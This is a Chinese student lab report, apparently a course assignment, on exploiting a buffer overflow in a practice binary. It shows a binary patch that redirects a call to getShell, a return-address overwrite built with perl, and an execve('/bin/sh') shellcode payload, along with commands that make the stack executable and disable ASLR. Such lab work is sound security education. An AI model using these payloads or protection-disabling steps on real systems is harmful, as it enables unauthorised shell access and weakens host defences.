1.实验内容
本周学习了缓冲区溢出的相关知识,介绍了缓冲区和缓冲区溢出,并介绍了几种缓冲区溢出的实现方式。
2.实验过程
1.直接修改程序机器指令,改变程序执行流程
1.1将目标文件pwn20222415通过共享文件夹放到kali里,运行pwn20222415.
1.2输入objdump -d pwn1 | more
对pwn20222415进行反汇编,找到getshell、foo、main这三个函数,为达到目的,需要将main函数中call指令中的foo的8048491修改成804847d,即需要将0xd7ffffff替换为0xc3ffffff
1.3复制一个新文件pwn20222415tianruqi,修改新文件,将d7改成c3,实现对getshell函数的调用
再次反汇编pwm20222415tianruqi,看是否调用了geyshell,可以看到call后面跟的是getshell
1.4./pwn20222415tianruqi
验证结果
2.通过构造输入参数,造成BOF攻击,改变程序执行流
2.1使用gdb pwn20222415
进行调试,经过分析我需要将1234替换为getShell的地址0x0804847d,需要构造如下字符串:11111111222222223333333344444444\x7d\x84\x04\x08
通过输入perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
构造输入字符串,使用xxd input
查看是否正确
2.2复制一个新的文件pwn20222415ruki,使用(cat input;cat) | ./pwn20222415ruki
命令将input文件中的字符串作为可执行文件的输入:
3.注入Shellcode并执行
3.1修改设置
execstack -s pwn20222415
设置堆栈可执行
execstack -q pwn20222415
查询文件的堆栈是否可执行
echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化
more /proc/sys/kernel/randomize_va_space
验证地址随机化是否关闭
3.2构造要使用的payload
perl -e 'print "A" x 32; print "\x1\x2\x3\x4\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
输入(cat input_shellcode; cat) | ./pwn20222415
命令将input_shellcode的输入内容作为pwn20222415的输入
新打开一个终端,输入ps -ef | grep pwn3
命令查看pwn20222415文件的进程及进程号,可以看到进程号为15720:
启动gdb调试这个进程:输入gdb pwn20222415
来获取foo函数returnaddress的位置,输入命令attach 15720,输入刚刚查找的进程号15720
通过设置断点,来查看注入buf的内存地址:输入命令disassemble foo
,反编译foo函数并进行分析
输入命令break *0x080484ae
在新终端输入c,在老终端按一下enter键
输入info r esp
查看栈顶指针所在位置,得到栈顶指针位置0xffffcfbc
使用x/16x 0xffffcfdc
命令查看该地址处的存放内容,看到了0x04030201,说明找到了要的地址,栈顶指针地址再加4字节,就是shellcode应该处于的地址,即0xffffcfbc+4=0xffffcfc0。
在原终端通过perl -e 'print "A" x 32;print "\xc0\xcf\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x00"' > input_shellcode
构造要注入的字符串,并输入(cat input_shellcode; cat) | ./pwn20222415
,将input_shellcode的输入内容作为pwn20222415的输入。
3.3可以看到成功调用了getshell函数。
3.问题及解决方案
- 问题1:没有execstack服务
- 问题1解决方案:直接使用sudo apt-get install execstack提示安装失败,在网上下载execstack_0.0.20131005-1+b10_amd64.deb放入共享文件夹,使用sudo dpkg -i execstack_0.0.20131005-1+b10_amd64.deb进行解压安装,安装成功。
- 问题2:输入gdb命令提示没有该命令
- 问题2解决方案:使用sudo apt update和sudo apt install gdb命令安装gdb
4.学习感悟、思考等
本次实验跟着教程做没出现什么太大的问题,通过本次实验,我对缓冲区溢出有了更加深刻的认识。一开始我对于这个实验的过程可以说是一窍不通,只能跟着教程照猫画虎,但是由于一开始虚拟机配置问题导致我后面重新做了一次实验,在第二次进行实验时我尝试一点点搞清楚教程,后面发现自己可以弄懂我在做什么,要做什么了。虽然我还是存在这一些不足,但我相信通过继续学习,我肯定可以更加完善自己。
标签:x90,2024,2025,gdb,20222415,input,pwn20222415,shellcode,输入 From: https://www.cnblogs.com/2415trq/p/18458153